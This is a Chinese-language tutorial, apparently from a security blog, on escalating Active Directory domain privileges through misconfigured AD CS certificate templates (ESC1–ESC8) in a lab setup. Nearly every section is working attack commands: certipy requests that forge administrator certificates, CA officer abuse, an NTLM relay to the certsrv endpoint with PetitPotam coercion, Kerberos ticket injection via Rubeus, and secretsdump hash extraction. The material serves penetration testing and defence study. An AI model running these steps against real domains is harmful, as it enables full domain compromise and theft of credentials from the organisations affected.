利用ADCS不安全模板配置提升域权限
字数 1014 2025-08-25 22:58:41
利用ADCS不安全模板配置提升域权限技术指南
前言
本指南详细介绍了Active Directory证书服务(ADCS)中因不安全模板配置导致的域权限提升漏洞。基于2021年BlackHat发布的《Certified_Pre-Owned》白皮书,总结了实战中常见的七种错误模板配置(ESC1-ESC8)及其利用方法。
测试环境
- 攻击机: 10.128.20.123
- ADCS服务器: 10.211.55.20
- 域控: 10.211.55.18
- 注意: 所有测试均可从域外发起攻击
错误模板类型及利用方法
ESC1 - 基础模板漏洞
所需配置条件
- 用户具有证书注册权限
- 模板允许客户端身份验证或智能卡登录
- CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT标志开启
配置步骤
- 在
certtmpl.msc中复制"工作站身份认证"模板 - 修改模板名称
- 在"扩展→应用程序策略"中加入客户端身份认证
- 在"安全"中为Domain Users添加注册权限
- 在"使用者名称"中选择"在请求中提供"
漏洞发现
certipy find -u hack@lhc.local -p 123@Qwe -dc-ip 10.211.55.18 -vulnerable -debug
漏洞利用
# 请求证书
certipy req -u hack@lhc.local -p 123@Qwe -ca Lhc-CS2016-CA -target-ip 10.211.55.20 -template ESC1 -upn administrator@lhc.local -dns 2019-AD.lhc.local
# 身份验证
certipy auth -pfx administrator_2019-ad.pfx -dc-ip 10.211.55.18
ESC2 - 错误配置模板
特征
- 模板定义了"Any Purpose"类型的EKU,使证书可用于任何目的
漏洞发现
certipy find -u hack@lhc.local -p 123@Qwe -dc-ip 10.211.55.18 -vulnerable -debug
漏洞利用
# 申请ESC2模板证书
certipy req -u hack@lhc.local -p 123@Qwe -ca Lhc-CS2016-CA -target 10.211.55.20 -template ESC2
# 代理申请管理员证书
certipy req -u hack@lhc.local -p 123@Qwe -ca Lhc-CS2016-CA -target 10.211.55.20 -template User -on-behalf-of 'lhc\Administrator' -pfx hack.pfx
# 身份认证
certipy auth -pfx administrator.pfx -dc-ip 10.211.55.18
ESC3 - 证书申请代理漏洞
配置1特征
- 模板定义了"证书申请代理"的EKU
配置2特征
- 发布要求修改为需要授权签名
漏洞发现
certipy find -u hack@lhc.local -p 123@Qwe -dc-ip 10.211.55.18 -vulnerable -debug
漏洞利用
# 申请ESC3模板证书
certipy req -u hack@lhc.local -p 123@Qwe -ca Lhc-CS2016-CA -target 10.211.55.20 -template ESC3
# 代理申请管理员证书
certipy req -u hack@lhc.local -p 123@Qwe -ca Lhc-CS2016-CA -target 10.211.55.20 -template User -on-behalf-of 'lhc\Administrator' -pfx hack.pfx
# 身份认证
certipy auth -pfx administrator.pfx -dc-ip 10.211.55.18
ESC4 - 写入权限漏洞
特征
- 用户对证书模板具有写入权限,可修改配置使其易受ESC1攻击
利用方法
# 备份并修改ESC4模板配置
certipy template -u hack@lhc.local -p 123@Qwe -template ESC4_1 -save-old
# 利用新模板申请证书
certipy req -u hack@lhc.local -p 123@Qwe -ca Lhc-CS2016-CA -target-ip 10.211.55.20 -template ESC4_1 -upn administrator@lhc.local
# 身份验证
certipy auth -pfx administrator.pfx -dc-ip 10.211.55.18
# 恢复模板
certipy template -u hack@lhc.local -p 123@Qwe -template ESC4 -configuration ESC4.json
ESC6 - SAN(主题备用名)漏洞
前提条件
- 启用EDITF_ATTRIBUTESUBJECTALTNAME2标志:
certutil -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2 net stop certsvc net start certsvc
攻击利用
# 请求User模板证书
certipy req -u hack@lhc.local -p 123@Qwe -ca Lhc-CS2016-CA -target 10.211.55.20 -template User -upn administrator@lhc.local
# 身份验证
certipy auth -pfx administrator.pfx -dc-ip 10.211.55.18
ESC7 - 管理CA权限漏洞
特征
- 用户或所属组拥有管理CA权限
漏洞发现
certipy find -u hack@lhc.local -p 123@Qwe -dc-ip 10.211.55.18 -vulnerable
利用步骤
-
添加管理证书权限:
certipy ca -u hack@lhc.local -p 123@Qwe -ca Lhc-CS2016-CA -dc-ip 10.211.55.18 -target 10.211.55.20 -add-officer hack -
查看/启用SubCA模板:
certipy ca -ca Lhc-CS2016-CA -enable-template SubCA -u hack@lhc.local -p 123@Qwe -target 10.211.55.20 -
请求SubCA模板证书(记录ID):
certipy req -u hack@lhc.local -p 123@Qwe -ca Lhc-CS2016-CA -target 10.211.55.20 -template SubCA -upn administrator@lhc.local -
颁发证书:
certipy ca -u hack@lhc.local -p 123@Qwe -ca Lhc-CS2016-CA -target 10.211.55.20 -issue-request <ID> -
检索证书并认证:
certipy req -u hack@lhc.local -p 123@Qwe -ca Lhc-CS2016-CA -target 10.211.55.20 -retrieve <ID> certipy auth -pfx administrator.pfx -dc-ip 10.211.55.18
ESC8 - 中继攻击漏洞
利用过程
-
ADCS认证端点:
http://10.211.55.20/certsrv/certfnsh.asp -
查看CA机器:
certutil -config - -ping certutil -dump -v -
设置中继目标:
python3 ntlmrelayx.py -t http://10.211.55.20/certsrv/certfnsh.asp -smb2support --adcs --template 'Domain Controller' -
强制认证(使用PetitPotam等工具):
python PetitPotam.py -u '' -d '' -p '' 攻击机IP 目标机器IP -
获取并注入票据:
# Rubeus Rubeus.exe asktgt /user:HC$ /certificate:certificatebase64body /ptt # gettgtpkinit.py python3 gettgtpkinit.py Lhc.local/2019-AD$ -pfx-base64 -pfx-base64 <证书> kirbi.ccache export KRB5CCNAME=kirbi.ccache -
提取哈希:
python3 secretsdump.py -k -no-pass 2019-AD.lhc.local
Windows环境利用
-
转发445端口(需管理员权限):
divertTCPConn.exe 445 4455 debug -
监听:
python.exe ntlmrelayx.py -t http://10.211.55.20/certsrv/certfnsh.asp -smb2support --smb-port 4455 --adcs --template DomainController